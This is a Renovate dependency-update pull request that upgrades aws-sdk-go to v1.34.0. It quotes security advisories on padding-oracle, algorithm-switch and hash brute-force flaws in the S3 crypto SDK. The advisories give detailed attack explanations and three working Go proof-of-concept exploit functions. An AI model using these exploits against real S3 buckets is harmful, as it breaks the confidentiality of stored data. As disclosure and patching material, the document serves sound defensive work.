fix(deps): update module github.com/aws/aws-sdk-go to v1.34.0 [security] #97

renovate · 2024-08-08T06:00:57Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
github.com/aws/aws-sdk-go	`v1.30.20` -> `v1.34.0`

GitHub Vulnerability Alerts

CVE-2020-8912

Summary

The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the GCM option was chosen as content cipher.

Risk/Severity

The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data.

Impact

This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well.

V1 prior to 1.34.0 of the S3 crypto SDK does not authenticate the algorithm parameters for the data encryption key.

An attacker with write access to the bucket can use this in order to change the encryption algorithm of an object in the bucket, which can lead to problems depending on the supported algorithms. For example, a switch from AES-GCM to AES-CTR in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation.

By default, the only available algorithms in the SDK are AES-GCM and AES-CBC. Switching the algorithm from AES-GCM to AES-CBC can be used as way to reconstruct the plaintext through an oracle endpoint revealing decryption failures, by brute forcing 16 byte chunks of the plaintext. Note that the plaintext needs to have some known structure for this to work, as a uniform random 16 byte string would be the same as a 128 bit encryption key, which is considered cryptographically safe.

The attack works by taking a 16 byte AES-GCM encrypted block guessing 16 bytes of plaintext, constructing forgery that pretends to be PKCS5 padded AES-CBC, using the ciphertext and the plaintext guess and that will decrypt to a valid message if the guess was correct.

To understand this attack, we have to take a closer look at both AES-GCM and AES-CBC:
AES-GCM encrypts using a variant of CTR mode, i.e. C_i = AES-Enc(CB_i) ^ M_i. AES-CBC on the other hand decrypts via M_i = AES-Dec(C_i) ^ C_{i-1}, where C_{-1} = IV. The padding oracle can tell us if, after switching to CBC mode, the plaintext recovered is padded with a valid PKCS5 padding.

Since AES-Dec(C_i ^ M_i) = CB_i, if we set IV' = CB_i ^ 0x10*[16], where 0x10*[16] is the byte 0x10 repeated 16 times, and C_0' = C_i ^ M_i' the resulting one block message (IV', C_0') will have valid PKCS5 padding if our guess M_i' for M_i was correct, since the decrypted message consists of 16 bytes of value 0x10, the PKCS5 padded empty string.

Note however, that an incorrect guess might also result in a valid padding, if the AES decryption result randomly happens to end in 0x01, 0x0202, or a longer valid padding. In order to ensure that the guess was indeed correct, a second check using IV'' = IV' ^ (0x00*[15] || 0x11) with the same ciphertext block has to be performed. This will decrypt to 15 bytes of value 0x10 and one byte of value 0x01 if our initial guess was correct, producing a valid padding. On an incorrect guess, this second ciphertext forgery will have an invalid padding with a probability of 1:2^128, as one can easily see.

This issue is fixed in V2 of the API, by using the KMS+context key wrapping scheme for new files, authenticating the algorithm. Old files encrypted with the KMS key wrapping scheme remain vulnerable until they are reencrypted with the new scheme.

Mitigation

Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with GCM mode and use the KMS key wrapping option.

Proof of concept

A Proof of concept is available in a separate github repository.

This particular issue is described in combined_oracle_exploit.go:

func CombinedOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) {
	data, header, err := input.S3Mock.GetObjectDirect(bucket, key)
	if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/GCM/NoPadding" {
		return "", fmt.Errorf("Algorithm is %q, not GCM!", alg)
	}
	gcmIv, err := base64.StdEncoding.DecodeString(header.Get("X-Amz-Meta-X-Amz-Iv"))
	if len(gcmIv) != 12 {
		return "", fmt.Errorf("GCM IV is %d bytes, not 12", len(gcmIv))
	}
	fullIv := make([]byte, 16)
	confirmIv := make([]byte, 16)
	for i := 0; i < 12; i++ {
		fullIv[i] = gcmIv[i] ^ 0x10
		confirmIv[i] = gcmIv[i] ^ 0x10
	}
        // Set i to the block we want to attempt to decrypt
	counter := i + 2
	for j := 15; j >= 12; j-- {
		v := byte(counter % 256)
		fullIv[j] = 0x10 ^ v
		confirmIv[j] = 0x10 ^ v
		counter /= 256
	}
	confirmIv[15] ^= 0x11
	fullIvEnc := base64.StdEncoding.EncodeToString(fullIv)
	confirmIvEnc := base64.StdEncoding.EncodeToString(confirmIv)
	success := false
        // Set plaintextGuess to the guess for the plaintext of this block
	newData := []byte(plaintextGuess)
	for j := 0; j < 16; j++ {
		newData[j] ^= data[16*i+j]
	}
	newHeader := header.Clone()
	newHeader.Set("X-Amz-Meta-X-Amz-Cek-Alg", "AES/CBC/PKCS5Padding")
	newHeader.Set("X-Amz-Meta-X-Amz-Iv", fullIvEnc)
	newHeader.Set("X-Amz-Meta-X-Amz-Unencrypted-Content-Length", "16")
	input.S3Mock.PutObjectDirect(bucket, key+"guess", newData, newHeader)
	if input.Oracle(bucket, key+"guess") {
		newHeader.Set("X-Amz-Meta-X-Amz-Iv", confirmIvEnc)
		input.S3Mock.PutObjectDirect(bucket, key+"guess", newData, newHeader)
		if input.Oracle(bucket, key+"guess") {
			return plaintextGuess, nil
		}
	}
	return "", fmt.Errorf("Block %d could not be decrypted", i)
}

CVE-2020-8911

Summary

The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the CBC option was chosen as content cipher.

Risk/Severity

The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data.

Impact

This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well.

V1 prior to 1.34.0 of the S3 crypto SDK, allows users to encrypt files with AES-CBC, without computing a MAC on the data. Note that there is an alternative option of using AES-GCM, which is used in the examples of the documentation and not affected by this vulnerability, but by CVE-2020-8912.

This exposes a padding oracle vulnerability: If the attacker has write access to the S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file (without observing the file contents that the endpoint learns in the process), they can reconstruct the plaintext with (on average) 128*length(plaintext) queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors.

This issue is fixed in V2 of the API, by disabling encryption with CBC mode for new files. Old files, if they have been encrypted with CBC mode, remain vulnerable until they are reencrypted with AES-GCM.

Mitigation

Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with CBC mode.

Proof of concept

A Proof of concept is available in a separate github repository.

This particular issue is described in padding_oracle_exploit.go:

func PaddingOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) {
	data, header, err := input.S3Mock.GetObjectDirect(bucket, key)
	if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/CBC/PKCS5Padding" {
		return "", fmt.Errorf("Algorithm is %q, not CBC!", alg)
	}
	length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length"))
	padding := byte(len(data) - length)
	plaintext := make([]byte, length)
	for i := length - 1; i >= 0; i-- {
		newLength := 16 * (i/16 + 1)
		dataCopy := make([]byte, newLength)
		headerCopy := header.Clone()
		copy(dataCopy, data)
		// Set Padding
		newPadding := byte(newLength - i)
		for j := i + 1; j < newLength; j++ {
			var oldValue byte
			if j >= length {
				oldValue = padding
			} else {
				oldValue = plaintext[j]
			}
			dataCopy, headerCopy, err = xorData(oldValue^newPadding, j, dataCopy, headerCopy)
			if err != nil {
				return "", err
			}
		}
		// Guess
		for c := 0; c < 256; c++ {
			dataCopy, headerCopy, err := xorData(byte(c)^newPadding, i, dataCopy, headerCopy)
			input.S3Mock.PutObjectDirect(bucket, key+"guess", dataCopy, headerCopy)
			if input.Oracle(bucket, key+"guess") {
				plaintext[i] = byte(c)
				break
			}
			dataCopy, headerCopy, err = xorData(byte(c)^newPadding, i, dataCopy, headerCopy)
		}
	}
	return string(plaintext), nil
}

GHSA-76wf-9vgp-pj7w

Summary

The golang AWS S3 Crypto SDK was impacted by an issue that can result in loss of confidentiality. An attacker with read access to an encrypted S3 bucket was able to recover the plaintext without accessing the encryption key.

Specific Go Packages Affected

github.com/aws/aws-sdk-go/service/s3/s3crypto

Risk/Severity

The vulnerability poses insider risks/privilege escalation risks, circumventing KMS controls for stored data.

Impact

The issue has been fully mitigated by AWS as of Aug. 5th by disallowing the header in question.

The S3 crypto library tries to store an unencrypted hash of the plaintext alongside the ciphertext as a metadata field. This hash can be used to brute force the plaintext in an offline attack, if the hash is readable to the attacker. In order to be impacted by this issue, the attacker has to be able to guess the plaintext as a whole. The attack is theoretically valid if the plaintext entropy is below the key size, i.e. if it is easier to brute force the plaintext instead of the key itself, but practically feasible only for short plaintexts or plaintexts otherwise accessible to the attacker in order to create a rainbow table.

The issue has been fixed server-side by AWS as of Aug 5th, by blocking the related metadata field. No S3 objects are affected anymore.

Mitigation

The header in question is no longer served by AWS, making this attack fully mitigated as of Aug. 5th.

Proof of concept

A Proof of concept is available in a separate github repository, this particular issue can be found at here:

func HashExploit(bucket string, key string, input *OfflineAttackInput) (string, error) {
	_, header, err := input.S3Mock.GetObjectDirect(bucket, key)
	length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length"))
	plaintextMd5 := header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Md5")
	blocks := length / 16
	possiblePlaintextNum := 1
	segNum := len(input.PossiblePlaintextSegments)
	for i := 0; i < blocks; i++ {
		possiblePlaintextNum *= segNum
	}
	for i := 0; i < possiblePlaintextNum; i++ {
		w := i
		guess := ""
		for j := 0; j < blocks; j++ {
			guess += input.PossiblePlaintextSegments[w%segNum]
			w /= segNum
		}
		guessMd5 := md5.Sum([]byte(guess))
		if plaintextMd5 == base64.StdEncoding.EncodeToString(guessMd5[:]) {
			return guess, nil
		}
	}
	return "", fmt.Errorf("No plaintext found!")
}

The PoC will only work on old versions of the library, as the hash has been removed from being calculated as well.

CVE-2022-2582

The AWS S3 Crypto SDK sends an unencrypted hash of the plaintext alongside the ciphertext as a metadata field. This hash can be used to brute force the plaintext, if the hash is readable to the attacker. AWS now blocks this metadata field, but older SDK versions still send it.

Release Notes

aws/aws-sdk-go (github.com/aws/aws-sdk-go)

fix(deps): update module github.com/aws/aws-sdk-go to v1.34.0 [security] #97

Are you sure you want to change the base?

fix(deps): update module github.com/aws/aws-sdk-go to v1.34.0 [security] #97

Conversation

GitHub Vulnerability Alerts

Summary

Risk/Severity

Impact

Mitigation

Proof of concept

Summary

Risk/Severity

Impact

Mitigation

Proof of concept

Summary

Specific Go Packages Affected

Risk/Severity

Impact

Mitigation

Proof of concept

Release Notes

Service Client Updates

SDK Features

Service Client Updates

Service Client Updates

Service Client Updates

Service Client Updates

Service Client Updates

Service Client Updates

Service Client Updates

Service Client Updates

Service Client Updates

Service Client Updates

SDK Bugs

Service Client Updates

Service Client Updates

SDK Enhancements

Service Client Updates

Service Client Updates

Service Client Updates

SDK Enhancements

Service Client Updates

SDK Enhancements

Service Client Updates

Service Client Updates

Service Client Updates

Service Client Updates

Service Client Updates

Service Client Updates

SDK Features

Service Client Updates

Service Client Updates

Service Client Updates

Service Client Updates

Service Client Updates

Service Client Updates

Service Client Updates

Service Client Updates

Service Client Updates

Service Client Updates

SDK Enhancements

Service Client Updates

Service Client Updates

Service Client Updates

Service Client Updates

SDK Features

Service Client Updates

SDK Enhancements

Service Client Updates

Service Client Updates

Service Client Updates

Configuration